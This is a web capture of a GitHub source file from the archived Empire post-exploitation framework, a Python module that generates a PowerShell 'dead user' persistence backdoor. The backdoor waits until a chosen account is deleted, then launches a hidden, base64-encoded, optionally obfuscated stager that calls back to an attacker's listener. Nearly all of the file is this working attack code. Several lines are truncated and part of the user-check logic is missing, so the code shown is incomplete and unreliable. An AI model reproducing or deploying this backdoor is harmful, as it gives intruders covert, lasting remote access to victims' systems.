Sign in

This repository has been archived by the owner on Jan 29, 2020. It is now read-only.

EmpireProject / Empire Public archive

Notifications Fork 2.8k Star 7.4k

Code Issues 64 Pull requests 37 Actions Projects Wiki Security Insig

Empire / lib / modules / powershell / persistence / powerbreach / deaduser.py

201 lines (170 loc) · 6.79 KB

Code Blame Raw

```
import os
from lib.common import helpers

class Module:

    def __init__(self, mainMenu, params=[]):

        self.info = {
            'Name': 'Invoke-DeadUserBackdoor',

            'Author': ['@sixdub'],

            'Description': ('Backup backdoor for a backdoor user.'),

            'Background' : False,

            'OutputExtension' : None,

            'NeedsAdmin' : False,

            'OpsecSafe' : True,

            'Language' : 'powershell',

            'MinLanguageVersion' : '2',

            'Comments': [
                'http://sixdub.net'
            ]
        }

        # any options needed by the module, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            'Agent' : {
                'Description'   :   'Agent to run module on.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'Listener' : {
                'Description'   :   'Listener to use.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'OutFile' : {
                'Description'   :   'Output the backdoor to a file instead of tasking to an agent.'
                'Required'      :   False,
                'Value'         :   ''
            },
            'Timeout' : {
                'Description'   :   'Time (in seconds) to run the backdoor. Defaults to 0 (run fore
                'Required'      :   True,
                'Value'         :   '0'
            },
            'Sleep' : {
                'Description'   :   'Time (in seconds) to sleep between checks.',
                'Required'      :   True,
                'Value'         :   '30'
            },
            'Username' : {
                'Description'   :   'User account to check for existence.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'Domain' : {
                'Description'   :   'Switch. Check the current domain for the user account.',
                'Required'      :   False,
                'Value'         :   ''
            }
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        for param in params:
            # parameter format is [Name, Value]
            option, value = param
            if option in self.options:
                self.options[option]['Value'] = value


    def generate(self, obfuscate=False, obfuscationCommand=""):

        script = """
function Invoke-DeadUserBackdoor
{
    Param(
    [Parameter(Mandatory=$False,Position=1)]
    [int]$Timeout=0,
    [Parameter(Mandatory=$False,Position=2)]
    [int] $Sleep=30,
    [Parameter(Mandatory=$True,Position=3)]
    [string] $Username,
    [Parameter(Mandatory=$False,Position=4)]
    [switch] $Domain
    )

    $running=$True
    $match =""
    $starttime = Get-Date
    while($running)
    {
        if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout)))
        {
            $running=$False
        }
        if($Domain)
        {
            $UserSearcher = [adsisearcher]"(&(samAccountType=805306368)(samAccountName=*$UserName*)
            $UserSearcher.PageSize = 1000
            $count = @($UserSearcher.FindAll()).Count
            if($count -eq 0)
            {
                Write-Verbose "Domain user $Username not found!"
```

```
                    $match=$True
```

```
                }
            }
            if($match)
            {
                REPLACE_LAUNCHER
                $running=$False
            }
            else
            {
                Start-Sleep -s $Sleep
            }
        }
    }
Invoke-DeadUserBackdoor"""

        listenerName = self.options['Listener']['Value']

        if not self.mainMenu.listeners.is_listener_valid(listenerName):
            # not a valid listener, return nothing for the script
            print helpers.color("[!] Invalid listener: " + listenerName)
            return ""

        else:
            # set the listener value for the launcher
            stager = self.mainMenu.stagers.stagers["multi/launcher"]
            stager.options['Listener']['Value'] = listenerName
            stager.options['Base64']['Value'] = "False"

            # and generate the code
            stagerCode = stager.generate()

            if stagerCode == "":
                return ""
            else:
                script = script.replace("REPLACE_LAUNCHER", stagerCode)
                script = script.replace('REPLACE_LAUNCHER', stagerCode)
                script = script.encode('ascii', 'ignore')

        for option,values in self.options.iteritems():
            if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "ou
                if values['Value'] and values['Value'] != '':
                    if values['Value'].lower() == "true":
                        # if we're just adding a switch
                        script += " -" + str(option)
                    else:
                        script += " -" + str(option) + " " + str(values['Value'])

        outFile = self.options['OutFile']['Value']
        if outFile != '':
            # make the base directory if it doesn't exist
            if not os.path.exists(os.path.dirname(outFile)) and os.path.dirname(outFile) != '':
                os.makedirs(os.path.dirname(outFile))

            f = open(outFile, 'w')
            f.write(script)
            f.close()

            print helpers.color("[+] PowerBreach deaduser backdoor written to " + outFile)
            return ""

        if obfuscate:
            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationComma
        # transform the backdoor into something launched by powershell.exe
        # so it survives the agent exiting
        modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc "
        launcher = helpers.powershell_launcher(script, modifiable_launcher)
        stagerCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
        parts = stagerCode.split(" ")

        # set up the start-process command so no new windows appears
        scriptLauncher = "Start-Process -NoNewWindow -FilePath '%s' -ArgumentList '%s'; 'PowerBrea
        if obfuscate:
            scriptLauncher = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptLauncher,

        return scriptLauncher
```